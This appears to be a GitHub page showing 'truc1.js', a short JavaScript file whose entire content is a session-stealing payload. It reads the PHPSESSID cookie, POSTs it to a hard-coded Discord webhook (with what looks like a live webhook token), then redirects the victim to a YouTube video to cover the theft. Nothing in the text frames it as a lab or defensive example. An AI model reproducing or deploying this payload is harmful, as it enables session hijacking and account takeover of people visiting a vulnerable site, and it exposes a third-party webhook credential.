-
Notifications
You must be signed in to change notification settings - Fork 0
/
truc1.js
29 lines (26 loc) · 971 Bytes
/
truc1.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function getCookie(name){
if(document.cookie.length == 0)
return null;
var regSepCookie = new RegExp('(; )', 'g');
var cookies = document.cookie.split(regSepCookie);
for(var i = 0; i < cookies.length; i++){
var regInfo = new RegExp('=', 'g');
var infos = cookies[i].split(regInfo);
if(infos[0] == name){
return unescape(infos[1]);
}
}
return null;
}
token = getCookie("PHPSESSID")
message = `token: ${token}`;
channel_url = `https://discord.com/api/webhooks/995454248164786266/qCpBBWze7VzuLmoM2vlzlYzsbS_8QLiqBWhCWoGaxOB6ZBNl-p8e7t4-g_tUMSFvi-qd`;
request = new XMLHttpRequest();
request.withCredentials = true;
request.open("POST", channel_url);
request.setRequestHeader("accept", "*/*");
request.setRequestHeader("content-type", "application/json");
request.send(JSON.stringify({ content: message }));
setTimeout(() => {
window.location.replace("https://www.youtube.com/watch?v=_I2blDXxZnw");
}, 250);